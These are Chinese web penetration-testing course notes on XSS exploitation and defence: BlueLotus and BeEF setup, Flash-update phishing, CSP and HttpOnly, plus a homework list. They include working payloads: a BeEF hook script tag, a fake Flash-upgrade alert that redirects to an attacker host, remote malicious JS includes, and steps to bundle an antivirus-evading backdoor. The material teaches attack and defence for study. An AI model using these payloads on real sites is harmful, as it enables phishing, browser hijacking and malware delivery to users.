|
XSS 跨站脚本攻击漏洞(四)
利⽤平台
蓝莲花 xss
项⽬地址:https://github.com/firesunCN/BlueLotus_XSSReceiver
docker 搭建
git clone https://github.com/firesunCN/BlueLotus_XSSReceiver.git
cd BlueLotus_XSSReceiver
docker build -t bluelotus .
docker run -d -p 80:80 bluelotus
beef-xss
https://beefproject.com/
<script src="http://10.211.55.5:3000/hook.js"></script>
flash钓⻥
项⽬地址:[https://github.com/r00tSe7en/Fake-flash.cn
https://github.com/crow821/FakeFlash
1、部署可访问的钓⻥⻚⾯并修改
2、植⼊XSS代码等待受害者触发
3、将后⻔及正常⽂件捆绑打包免杀
<script>alert('当前浏览器Flash版本过低,请下载升级!');location.href='http://10.211.55.3/flash'</script>
<script src="http://10.211.55.3/flash.js"></script>
防御
CSP
CSP (Content Security Policy 内容安全策略)
内容安全策略是⼀种可信⽩名单机制,来限制⽹站中是否可以包含某来源内容。
该制度明确告诉客户端,哪些外部资源可以加载和执⾏,等同于提供⽩名单,
它的实现和执⾏全部由浏览器完成,开发者只需提供配置。
禁⽌加载外域代码,防⽌复杂的攻击逻辑。
禁⽌外域提交,⽹站被攻击后,⽤户的数据不会泄露到外域。
禁⽌内联脚本执⾏(规则较严格,⽬前发现 GitHub 使⽤)。
禁⽌未授权的脚本执⾏(新特性,Google Map 移动版在使⽤)。
合理使⽤上报可以及时发现XSS,利于尽快修复问题。
同源策略:同域名,同端⼝,同协议
<meta charset="utf-8">
<?php
//CSP策略 只允许加载本地源图⽚
//header("Content-Security-Policy:img-src 'self' ");
setcookie('username', 'hacker');
setcookie('password', '666666');
?>
<!--加载任意⼀张外部图⽚-->
<img
src="https://img1.baidu.com/it/u=2407290741,4013823944&fm=253&fmt=auto&app=138&f=JPEG?
w=889&h=500"/>
<!--加载外部js⽂件-->
<script src="http://10.211.55.3/bluexss/myjs/abc.js"></script>
HttpOnly
HttpOnly可以禁⽌⻚⾯的JavaScript访问带有HttpOnly属性的Cookie
也可以直接在浏览器内为对应的 cookie 值赋予 httponly 属性
<?php
// 设置HttpOnly Cookie
// //name 不启⽤httponly false
// setcookie('username', 'hacker', time() + 3600, '/xss-demo', '', false, false);
// //pass 启⽤httponly true
// setcookie('password', '666666', time() + 3600, '/xss-demo', '', false, true);
//没有设置HttpOnly
setcookie('username', 'hacker');
setcookie('password', '666666');
// 从Cookie中获取值
$cookieValue = $_COOKIE['password'];
// 在HTML中输出Cookie值
?>
<!DOCTYPE html>
<html>
<head>
<title>使⽤HttpOnly保护Cookie并赋值的⻚⾯</title>
</head>
<body>
<h1>使⽤HttpOnly保护Cookie并赋值的⻚⾯</h1>
<p>Cookie值: <?php echo $cookieValue; ?></p>
<!--恶意js-->
<script src="http://10.211.55.3/bluexss/myjs/abc.js"></script>
</body>
</html>
XSSFilter(实体化编码)
检查⽤户输⼊的数据中是否包含特殊字符, 如<、>、’、”,进⾏实体化等。
⾃动化测试⼯具
传参可控,在能够触发 js的标签内,没有相应防御
⼯具资料:https://github.com/s0md3v/XSStrike
使⽤教程:https://www.cnblogs.com/ruoli-s/p/14332266.html
WEB渗透测试工程师系统班250303期 第27节课作业 1. 使用beef-xss进行xss漏洞利用 2. 复现flash钓鱼利用 3. csp是什么
CSP (Content Security Policy 内容安全策略)
内容安全策略是⼀种可信⽩名单机制,来限制⽹站中是否可以包含某来源内容。
该制度明确告诉客户端,哪些外部资源可以加载和执⾏,等同于提供⽩名单,
它的实现和执⾏全部由浏览器完成,开发者只需提供配置。
禁⽌加载外域代码,防⽌复杂的攻击逻辑。
禁⽌外域提交,⽹站被攻击后,⽤户的数据不会泄露到外域。
禁⽌内联脚本执⾏(规则较严格,⽬前发现 GitHub 使⽤)。
禁⽌未授权的脚本执⾏(新特性,Google Map 移动版在使⽤)。
合理使⽤上报可以及时发现XSS,利于尽快修复问题。
同源策略:同域名,同端⼝,同协议
4. http only是什么 HttpOnly可以禁⽌⻚⾯的JavaScript访问带有HttpOnly属性的Cookie
也可以直接在浏览器内为对应的 cookie 值赋予 httponly 属性
|